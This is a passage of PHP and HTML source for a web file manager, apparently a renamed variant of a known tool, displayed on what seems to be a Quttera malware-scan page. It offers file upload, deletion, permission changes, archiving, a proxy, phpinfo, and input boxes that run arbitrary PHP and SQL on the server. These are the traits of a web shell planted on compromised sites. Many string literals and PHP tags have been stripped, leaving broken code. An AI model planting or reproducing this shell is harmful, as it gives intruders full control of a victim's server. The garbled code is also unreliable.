$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no fileSet');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(, $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace(.$ext,'',$destination);
// $ext = end(explode(, $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode(,basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode(,$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no fileSet');
}
<table class="whole" id="header_table" >
<tr>
<th colspan="2">=__('File manager')=(!empty($path)?' - '.$path:'')</th>
</tr>
if(!empty($msg)){
<tr>
<td colspan="2" class="row2">=$msg</td>
</tr>
}
<tr>
<td class="row2">
<table>
<tr>
<td>
=fm_home()
</td>
<td>
if(!empty($fms_config['make_directory'])) {
<form method="post" action="=$url_inc">
<input type="hidden" name="path" value="=$path" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="=__('Make directory')">
</form>
}
</td>
<td>
if(!empty($fms_config['new_file'])) {
<form method="post" action="=$url_inc">
<input type="hidden" name="path" value="=$path" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="=__('New file')">
</form>
}
</td>
<td>
<form method="post" action="=$url_inc" style="display:inline">
<input type="hidden" name="path" value="=$path" />
<input type="text" placeholder="=__('Recursive search')" name="search_recursive" value="=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''" size="15">
<input type="text" name="mask" placeholder="=__('Mask')" value="=!empty($_POST['mask'])?$_POST['mask']:'*.*'" size="5">
<input type="submit" name="search" value="=__('Search')">
</form>
</td>
<td>
=fm_run_input('php')
</td>
<td>
=fm_run_input('sql')
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
if (!empty($fms_config['upload_myfile'])) {
<form name="form1" method="post" action="=$url_inc" enctype="multipart/form-data">
<input type="hidden" name="path" value="=$path" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="=__('Select the file')" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="=__('Upload')" />
</form>
}
</td>
<td>
if ($auth_local['authorize']) {
<form action="" method="post">
<input name="quit" type="hidden" value="1">
=__('Hello'), =$auth_local['login']
<input type="submit" value="=__('Quit')">
</form>
}
</td>
<td>
=fm_lang_form($language)
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> =__('Filename') </th>
<th style="white-space:nowrap"> =__('Size') </th>
<th style="white-space:nowrap"> =__('Date') </th>
<th style="white-space:nowrap"> =__('Rights') </th>
<th colspan="4" style="white-space:nowrap"> =__('Manage') </th>
</tr>
</thead>
<tbody>
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$fileSet = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$fileSet[] = $file;
}
}
natsort($dirs); natsort($fileSet);
$elements = array_merge($dirs, $fileSet);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fms_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fms_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(, $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file== || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
<tr class="=$style">
<td>=$link</td>
<td>=$filedata[7]</td>
<td style="white-space:nowrap">=gmdate("Y-m-d H:i:s",$filedata[9])</td>
<td>=$rightstext</td>
<td>=$deletelink</td>
<td>=$renamelink</td>
<td>=$loadlink</td>
<td>=$arlink</td>
</tr>
}
}
</tbody>
</table>
<div class="row3">$mtime_share = explode(' ', microtime());
$totaltime = $mtime_share[0] + $mtime_share[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fms_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fms_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fms_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fms_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fms_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fms_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fms_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
// Multa File Manager exemplaria fiunt cum functionibus extensivis et personalizabilibus
class archiveTar {
var $archiveTitle = '';
var $temporaryFile = 0;
var $filePointer = 0;
var $isCompressedFile = true;
var $errorList = array();
var $fileSet = array();
function __construct(){
if (!isset($this->errorList)) $this->errorList = array();
}
function buildArchivePackage($file_list){
$result = false;
if (file_exists($this->archiveTitle) && is_file($this->archiveTitle)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->initiateFileWrite()) return false;
} else {
if (fileSetize($this->archiveTitle) == 0) return $this->initiateFileWrite();
if ($this->isCompressedFile) {
$this->finalizeTempFile();
if (!rename($this->archiveTitle, $this->archiveTitle.'.tmp')){
$this->errorList[] = __('Cannot rename').' '.$this->archiveTitle.__(' to ').$this->archiveTitle.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archiveTitle.'.tmp', 'rb');
if (!$tmpArchive){
$this->errorList[] = $this->archiveTitle.'.tmp '.__('is not readable');
rename($this->archiveTitle.'.tmp', $this->archiveTitle);
return false;
}
if (!$this->initiateFileWrite()){
rename($this->archiveTitle.'.tmp', $this->archiveTitle);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->saveDataBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archiveTitle.'.tmp');
} else {
$this->temporaryFile = fopen($this->archiveTitle, 'r+b');
if (!$this->temporaryFile) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->bundleFilesIntoArchive($file_list);
} else $this->errorList[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->temporaryFile))){
$binaryData = pack('a512', '');
$this->saveDataBlock($binaryData);
}
$this->finalizeTempFile();
if ($newArchive && !$result){
$this->finalizeTempFile();
unlink($this->archiveTitle);
}
return $result;
}
function recoverArchive($path){
$fileName = $this->archiveTitle;
if (!$this->isCompressedFile){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isCompressedFile = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isCompressedFile = true;
}
$result = true;
if ($this->isCompressedFile) $this->temporaryFile = gzopen($fileName, 'rb');
else $this->temporaryFile = fopen($fileName, 'rb');
if (!$this->temporaryFile){
$this->errorList[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unbundleFilesIntoArchive($path);
$this->finalizeTempFile();
return $result;
}
function displayErrorLogs ($message = '') {
$Errors = $this->errorList;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function bundleFilesIntoArchive($file_array){
$result = true;
if (!$this->temporaryFile){
$this->errorList[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archiveTitle)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errorList[] = __('No file').' '.$filename;
continue;
}
if (!$this->temporaryFile){
$this->errorList[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errorList[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->generateValidPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errorList[] = __('Mode ').__('is incorrect');
}
if(($this->filePointer == 0)){
if(!$this->insertHeaderInfo($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->saveDataBlock($binaryData);
}
fclose($file);
} else $this->insertHeaderInfo($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errorList[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!= && $dir!='..'){
$file_array_tmp = array();
if ($filename != )
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->bundleFilesIntoArchive($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unbundleFilesIntoArchive($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->retrieveDataBlock()) != 0){
if (!$this->fetchHeaderInfo($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->retrieveDataBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->retrieveDataBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->retrieveDataBlock();
if (!$this->fetchHeaderInfo($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errorList[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errorList[] =__('Cannot create directory')..__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errorList[] = __('Cannot write to file')..__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errorList[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errorList[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errorList[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->retrieveDataBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->retrieveDataBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (fileSetize($header['filename']) != $header['size']) {
$this->errorList[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->fileSet[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errorList[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function fetchHeaderInfo($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$fileHash = 0;
for ($i = 0; $i < 148; $i++) $fileHash+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $fileHash += ord(' ');
for ($i = 156; $i < 512; $i++) $fileHash+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8userIdentifier/a8group_id/a12size/a12time/a8fileHash/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['fileHash'] = OctDec(trim($unpack_data['fileHash']));
if ($header['fileHash'] != $fileHash){
$header['filename'] = '';
if (($fileHash == 256) && ($header['fileHash'] == 0)) return true;
$this->errorList[] = __('Error fileHash for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['userIdentifier'] = OctDec(trim($unpack_data['userIdentifier']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function insertHeaderInfo($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->generateValidPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the fileHash
$fileHash = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$fileHash += ord(substr($dataFirst, $i, 1));
// Ignore the fileHash value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$fileHash += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$fileHash += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->saveDataBlock($dataFirst, 148);
// Write the calculated fileHash
$fileHash = sprintf('%6s ', DecOct($fileHash));
$binaryData = pack('a8', $fileHash);
$this->saveDataBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->saveDataBlock($dataLast, 356);
$temporaryFilename = $this->generateValidPath($filename_ready);
$i = 0;
while (($buffer = substr($temporaryFilename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->saveDataBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(fileSetize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$fileHash = 0;
for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $fileHash += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1));
$this->saveDataBlock($dataFirst, 148);
$fileHash = sprintf('%6s ', DecOct($fileHash));
$binaryData = pack('a8', $fileHash);
$this->saveDataBlock($binaryData, 8);
$this->saveDataBlock($dataLast, 356);
return true;
}
function initiateFileWrite(){
if ($this->isCompressedFile)
$this->temporaryFile = gzopen($this->archiveTitle, 'wb9f');
else
$this->temporaryFile = fopen($this->archiveTitle, 'wb');
if (!($this->temporaryFile)){
$this->errorList[] = __('Cannot write to file').' '.$this->archiveTitle;
return false;
}
return true;
}
function retrieveDataBlock(){
if (is_resource($this->temporaryFile)){
if ($this->isCompressedFile)
$block = gzread($this->temporaryFile, 512);
else
$block = fread($this->temporaryFile, 512);
} else $block = '';
return $block;
}
function saveDataBlock($data, $length = 0){
if (is_resource($this->temporaryFile)){
if ($length === 0){
if ($this->isCompressedFile)
gzputs($this->temporaryFile, $data);
else
fputs($this->temporaryFile, $data);
} else {
if ($this->isCompressedFile)
gzputs($this->temporaryFile, $data, $length);
else
fputs($this->temporaryFile, $data, $length);
}
}
}
function finalizeTempFile(){
if (is_resource($this->temporaryFile)){
if ($this->isCompressedFile)
gzclose($this->temporaryFile);
else
fclose($this->temporaryFile);
$this->temporaryFile = 0;
}
}
function generateValidPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == ){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
© 2023 Quttera Ltd. All rights reserved.